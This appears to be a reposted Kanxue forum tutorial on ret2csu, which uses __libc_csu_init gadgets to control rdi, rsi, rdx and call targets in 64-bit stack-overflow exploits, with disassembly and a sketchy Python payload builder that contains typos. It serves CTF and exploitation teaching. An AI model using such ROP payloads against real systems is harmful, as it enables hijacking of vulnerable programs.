查看原文
其他

利用__libc_csu_init控制64位寄存器

Max_hhg 看雪学苑 2022-07-01


本文为看雪论坛优秀文章
看雪论坛作者ID:Max_hhg


1


利用ROPgadget寻找ROP


usage: ROPgadget.py [-h] [-v] [-c] [--binary <binary>] [--opcode <opcodes>] [--string <string>] [--memstr <string>] [--depth <nbyte>] [--only <key>] [--filter <key>] [--range <start-end>] [--badbytes <byte>] [--rawArch <arch>] [--rawMode <mode>] [--rawEndian <endian>] [--re <re>] [--offset <hexaddr>] [--ropchain] [--thumb] [--console] [--norop] [--nojop] [--callPreceded] [--nosys] [--multibr] [--all] [--noinstr] [--dump]参数 -h, --help 显示帮助文档 -v, --version 版本号 -c, --checkUpdate 检测新版本是否可用 --binary <binary> 指定二进制文件进行分析 --opcode <opcodes> 在可执行段中查找opcode --string <string> 在可读的段中查找字符串 --memstr <string> 查找单个byte在所有的可执行段中 --depth <nbyte> 搜索引擎的深度 --only <key> 只显示特别的指令 --filter <key> 过滤特定指令 --range <start-end> 在地址之间寻找(0x...-0x...) --badbytes <byte> 拒绝特定指令在gadget的地址下 --rawArch <arch> 指定文件架构 --rawMode <mode> 指定源文件的mode --rawEndian <endian> 指定源文件的endianness --re <re> 正则表达式 --offset <hexaddr> 指定gadget的地址偏移 --ropchain ROP chain的生成 --thumb 在ARM架构下使用搜索引擎thumb 模式 --console 使用交互终端对于搜索引擎 --norop 禁止ROP搜索引擎 --nojop 禁止JOP搜索引擎 --callPreceded 仅显示call-preceded的gadgets --nosys 禁止SYS搜索引擎 --multibr 允许多分枝gadgets --all 禁止删除重复的gadgets,即显示所有 --noinstr 禁止gadget指令终端打印 --dump 输出gadget bytes

举个例子:


但是对于64位的来说 ROPgadget预设的长度是不够的。

所以,我们可以使用ROPgadget --binary ./b --depth 100来加深他的搜索深度。



2


利用_libc_csu_init制造ROP


常规方法


我们前面说的利用ROPgadget来寻找,大多都是找到直接设置某个寄存器的rop,当然也可以使用--ropchain这个参数。

下面看看利用_libc_csu_init制造rop。
; void _libc_csu_init(void).text:0000000000400650 public __libc_csu_init.text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16↑o.text:0000000000400650 ; __unwind {.text:0000000000400650 41 57 push r15.text:0000000000400652 41 89 FF mov r15d, edi.text:0000000000400655 41 56 push r14.text:0000000000400657 49 89 F6 mov r14, rsi.text:000000000040065A 41 55 push r13.text:000000000040065C 49 89 D5 mov r13, rdx.text:000000000040065F 41 54 push r12.text:0000000000400661 4C 8D 25 D8 01 20 00 lea r12, __frame_dummy_init_array_entry.text:0000000000400668 55 push rbp.text:0000000000400669 48 8D 2D D8 01 20 00 lea rbp, __do_global_dtors_aux_fini_array_entry.text:0000000000400670 53 push rbx.text:0000000000400671 4C 29 E5 sub rbp, r12.text:0000000000400674 31 DB xor ebx, ebx.text:0000000000400676 48 C1 FD 03 sar rbp, 3.text:000000000040067A 48 83 EC 08 sub rsp, 8.text:000000000040067E E8 FD FD FF FF call _init_proc.text:0000000000400683 48 85 ED test rbp, rbp.text:0000000000400686 74 1E jz short loc_4006A6.text:0000000000400688 0F 1F 84 00 00 00 00 00 nop dword ptr [rax+rax+00000000h].text:0000000000400690.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j.text:0000000000400690 4C 89 EA mov rdx, r13.text:0000000000400693 4C 89 F6 mov rsi, r14.text:0000000000400696 44 89 FF mov edi, r15d.text:0000000000400699 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8].text:000000000040069D 48 83 C3 01 add rbx, 1.text:00000000004006A1 48 39 EB cmp rbx, rbp.text:00000000004006A4 75 EA jnz short loc_400690.text:00000000004006A6.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j.text:00000000004006A6 48 83 C4 08 add rsp, 8.text:00000000004006AA 5B pop rbx.text:00000000004006AB 5D pop rbp.text:00000000004006AC 41 5C pop r12.text:00000000004006AE 41 5D pop r13.text:00000000004006B0 41 5E pop r14.text:00000000004006B2 41 5F pop r15.text:00000000004006B4 C3 retn.text:00000000004006B4 ; } // starts at 400650.text:00000000004006B4 __libc_csu_init endp

这里我们首先可以利用的点:
从0x00000000004006AA一直到结尾,我们可以利用溢出构造栈上数据来控制rbx、rbp、r12、r13、r14、r15寄存器的数据。如下:
.text:00000000004006AA 5B pop rbx.text:00000000004006AB 5D pop rbp.text:00000000004006AC 41 5C pop r12 (=>call addr).text:00000000004006AE 41 5D pop r13 (=>rdx).text:00000000004006B0 41 5E pop r14 (=>rsi).text:00000000004006B2 41 5F pop r15 (=>rdi).text:00000000004006B4 C3 retn.text:00000000004006B4 ; } // starts at 400650.text:00000000004006B4

另外,我们可以从0x0000000000400690到0x0000000000400696,将r13赋值给rdx、将r14赋值给rsi、将r15d赋值给edi,但在调试的过程中,会发现rdi的高32位置0,所以我们可以控制rdx、rsi、rdi,我们可以利用上面的控制r12、rbx(r12=addr rbx=0)来控制跳转地址,我们也可以(r12=0,rbx=0)实现不跳转到其他地方。
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j.text:0000000000400690 4C 89 EA mov rdx, r13.text:0000000000400693 4C 89 F6 mov rsi, r14.text:0000000000400696 44 89 FF mov edi, r15d.text:0000000000400699 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8]

从0x000000000040069D到0x00000000004006A4,我们可以控制rbx与rbp的关系为rbx + 1 = rbp,这样我们就不会重复执行上面的loc_400690了,如果要串起来,rbx=0 rbp=1。
.text:000000000040069D 48 83 C3 01 add rbx, 1.text:00000000004006A1 48 39 EB cmp rbx, rbp.text:00000000004006A4 75 EA jnz short loc_400690

总结一下上面的常规利用方法的脚本:
gadget1 = 0x04006AAgadget2 = 0x0400690 //控制rbx、rbp、r12、r13、r14、r15csu_end(rbx,rbp,r12,r13,r14,r15): payload = p64(rbx)+p64(rbp)+r64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(gadget1) return payload //如果要跳转到另外一个地址就传入地址 不跳转直接缺省//addr1是中途可以跳转的地址 addr2是最后可以跳转的地址//控制rdx、rsi、rdicsu_init1(rdx,rsi,rdi,addr1 = 0,addr2=deadbeef): payload = csu_end(0,1,addr1,rdx,rsi,rdi) payload+= p64(gadget2)+'a'*(8*6+0x8)+p64(addr2)//0x8是填充原来的 8*6实际是csu_end的六个地址 return payload//addr1设置成需要跳转的地址 addr2设置成gadget2 可以进行一个循环的利用payload = csu_init1(rdx,rsi,rdi,addr1=target_addr,addr2=gadget2)payload+= csu_init1(rdx,rsi,rdi,addr1=target_addr,addr2=gadget2) //当然你可以把上面的8*6改换成rbx、rbp、r12、r13、r14、r15,csu_init1(rdx,rsi,rdi,addr1 = 0,addr2=deadbeef,rbx,rbp,r12,r13,r14,r15): payload = csu_end(0,1,addr1,rdx,rsi,rdi) payload+= p64(gadget2)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+'a'*(0x8)+p64(addr2) return payload//我记得这个可以用来绕过沙箱,但那个题我找不到了 当然用其他gadget也可以


opcode


上面说的是一个常规的用法,还有一种用法是关于opcode的。
.text:00000000004006AA 5B pop rbx(=>0).text:00000000004006AB 5D pop rbp (=>1).text:00000000004006AC 41 5C pop r12 (=>call addr).text:00000000004006AE 41 5D pop r13 (=>rdx).text:00000000004006B0 41 5E pop r14 (=>rsi).text:00000000004006B2 41 5F pop r15 (=>rdi).text:00000000004006B4 C3 retn.text:00000000004006B4 ; } // starts at 400650.text:00000000004006B4

pop rbx -------> 5B
pop rbp -------> 5D
pop r12 -------> 41 5C
pop r13 -------> 41 5D
pop r14 -------> 41 5E
pop r15 -------> 41 5F
 
是的,pop r13只比pop rbp多一个41,其他的寄存器也是一样的。
pop r12 -------> pop rsp
pop r13 -------> pop rbp
pop r14 -------> pop rsi
pop r15 -------> pop rdi
 
这一下,我们现在就可以增加控制3个寄存器了,现在我们可以控制rbx、rbp、r12、r13、r14、r15、rdx、rsi、rdi、rsp、rsi,但是似乎不可能有什么要同时控制这么多寄存器的,写出来脚本也没有什么意义。



3


其他控制寄存器的方法


控制rax

  • gets、fgets回传buff(rax=rdi)

  • strcpy,strncpy

  • alarm


控制rcx

  • strcpy可能会让ecx = 输入字串


有些函数的返回值可能会影响寄存器,这些地方还是比较隐蔽的。



参考:

ctf-wiki(https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/)


 


看雪ID:Max_hhg

https://bbs.pediy.com/user-home-876202.htm

*本文由看雪论坛 Max_hhg 原创,转载请注明来自看雪社区




# 往期推荐

1.一个堆题inndy_notepad的练习笔记

2.源码编译——Xposed源码编译详解

3.某视频app(V15.7)及web分析记录

4.极棒项目复现:伪装成温度计的跟踪器

5.再探格式化字符串漏洞:CVE-2012-3569 ovftool.exe

6.Android APP漏洞之战——Content Provider漏洞详解



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存